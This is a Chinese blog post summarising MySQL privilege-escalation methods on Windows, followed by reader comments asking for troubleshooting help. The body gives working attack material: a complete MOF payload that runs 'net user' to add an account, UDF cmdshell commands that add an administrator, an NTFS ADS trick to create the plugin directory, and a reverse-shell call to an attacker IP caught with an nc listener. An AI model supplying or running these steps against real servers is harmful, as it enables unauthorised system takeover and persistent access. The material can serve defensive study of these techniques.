正在阅读:

MYSQL提权总结

68,166

最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

一、利用mof提权

前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

具体到mysql提权中,我们又该怎么利用呢?

1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

2、创建相应的函数并执行命令,具体如下:

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数

3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

执行成功以后再进行导出即可。

三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);

2、本地监听你反弹的端口

nc.exe -vv -l -p 2010

成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

mysql.txt下载

参考文章:

http://zone.wooyun.org/content/1795

http://www.exploit-db.com/exploits/23083/

http://www.myhack58.com/Article/html/3/8/2013/38264.htm

http://www.2cto.com/Article/201212/177983.html

目前有:12条访客评论,博主回复8

  1. 游客
    2013-09-13 09:52

    楼主加油,支持!顺便多点几个广告链接,哈哈

    • 独自等待
      2013-09-13 10:17

      @游客:谢谢哥们。

      • diamond
        2014-08-09 20:17

        试了一下反弹端口提权。前面都可以成功执行,可是到了nc启动监听后,就一直没有反应了,获取不到系统shell。请问楼主知道为什么会这样呢?

        • 独自等待
          2014-08-10 15:30

          1、有可能是你外网监听被防火墙拦截导致 2、反弹端口连接有可能导致mysql停止响应 3、可以尝试手工一步一步执行,先导出udf.dll,然后创建命令执行扩展,然后手工执行反弹或者是命令。

      • diamond
        2014-10-16 09:26

        感谢楼主的热心帮忙,顺便再问一个问题。我按照kingcope程序使用说明readme文件的要求运行mysql_win_remote.pl,期间没有报错,但是系统打印done了以后就没有反应了,请问接下来应该怎么做?或是出了什么问题?望楼主不吝赐教。

        • 独自等待
          2014-10-16 11:21

          你手工测试一下吧,有时候工具不可靠。。

      • test
        2014-10-23 18:10

        请问一下端口反弹的方法是通杀Mysql还是针对某些版本呢

        • 独自等待
          2014-10-23 20:51

          这个其实也就是udf提权的另类用法而已,应该还是有一些限制的。在使用web方式不成功的情况下,你可以使用一下这个反弹的。

      • bing
        2014-11-13 17:39

        执行 \. c:\mysql.txt 这句的时候返回了:
        ERROR: Unknown command ‘\.’.
        ERROR: Unknown command ‘\m’.
        额,大神求解

      • angelc0de
        2015-10-17 17:56

        linux下的mysql有什么好的提权方法吗,除了读各种文件之外

      • guest
        2016-03-29 17:45

        LZ MySQL5.6提成功过么..

      • test
        2016-08-03 23:53

        mysql5.6 有什么新方法提权吗

  2. xiaobai
    2016-07-02 13:24

    mysql5.5的有一个 明明就是root权限 就是不能执行导出这个函数 不知为啥 还有些就是导失败。。。

    • 独自等待
      2016-07-05 19:19

      可能目标目录没有写权限。

      • test
        2016-08-05 01:52

        @独自等待:我也碰到一个这样的情况 ,有写权限导出了,创建函数提示错误126。

  3. root0er
    2017-03-20 21:31

    mysql.txt不能下载了

  4. yzc
    2017-08-13 11:57

    请问为什么mysql.txt下载不了了

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌